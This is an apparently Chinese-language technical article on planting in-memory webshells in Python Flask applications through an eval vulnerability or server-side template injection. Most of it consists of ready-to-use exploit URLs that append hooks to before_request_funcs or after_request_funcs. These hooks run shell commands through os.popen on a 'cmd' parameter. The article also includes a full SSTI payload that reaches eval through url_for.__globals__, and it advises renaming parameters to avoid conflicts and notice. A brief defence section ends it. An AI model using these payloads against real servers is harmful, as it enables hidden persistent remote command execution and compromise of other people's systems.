Python Flask内存马的另辟途径
字数 944 2025-08-04 22:51:28
Python Flask内存马技术深入解析
1. 背景与现状
在Python Flask框架中,当发现后台存在任意代码执行漏洞后,攻击者通常会尝试维持权限。传统方法是通过add_url_rule添加恶意路由,但在较新版本的Flask中,这种方法已不再适用:
@app.route('/e')
def e():
a = eval(request.args.get('cmd'))
if a:
return "1"
else:
return "0"
尝试执行app.add_url_rule('/shell','shell',lambda :"123")会返回错误:
The setup method 'add_url_rule' can no longer be called on the application.
2. 替代技术方案
2.1 before_request方法
Flask的@app.before_request装饰器允许在每个请求处理前执行特定函数。底层实现为:
self.before_request_funcs.setdefault(None, []).append(f)
利用方式:
http://127.0.0.1:5000/e?cmd=app.before_request_funcs.setdefault(None, []).append(lambda: "123")
特点:
- 后续所有访问结果都将变成"123"
- 会影响主机正常业务,因为lambda必然返回一个值
2.2 after_request方法
更优的解决方案是使用@app.after_request,它在请求结束得到响应包后执行操作。底层实现类似:
self.after_request_funcs.setdefault(None, []).append(f)
关键区别:
- 传入的函数f需要接收并返回一个response对象
- 不会中断正常业务流
完整利用URL:
http://127.0.0.1:5000/e?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)
函数解析:
lambda resp:
CmdResp if request.args.get('cmd') and # 如果请求含cmd参数则返回命令执行结果
exec('
global CmdResp; # 定义全局变量
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) # 创建响应对象
')==None # 恒真条件
else resp # 无cmd参数则正常返回
注意事项:
cmd参数名和CmdResp变量名应改为服务中不存在的名称- 避免与业务逻辑冲突
3. SSTI场景下的利用
当存在服务器端模板注入(SSTI)漏洞时:
@app.route('/')
def home():
person = 'guest'
if request.args.get('name'):
person = request.args.get('name')
template = '<h2>Helo %s!</h2>' % person
return render_template_string(template)
完整利用URL(考虑未导包情况):
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
4. 防御建议
- 输入验证:严格过滤用户输入,特别是eval、exec等危险函数参数
- 权限控制:限制后台管理功能的访问权限
- 模板安全:避免直接渲染用户提供的模板内容
- 版本更新:保持Flask及相关依赖库的最新版本
- 代码审计:定期检查是否存在危险函数调用
5. 总结
在较新版本Flask中,传统add_url_rule方法已失效,但通过before_request和after_request仍可实现内存马植入。其中after_request是更优选择,因其不影响正常业务流。在SSTI场景下,通过全局变量访问也能实现相同效果。防御方应重点关注输入验证和权限控制。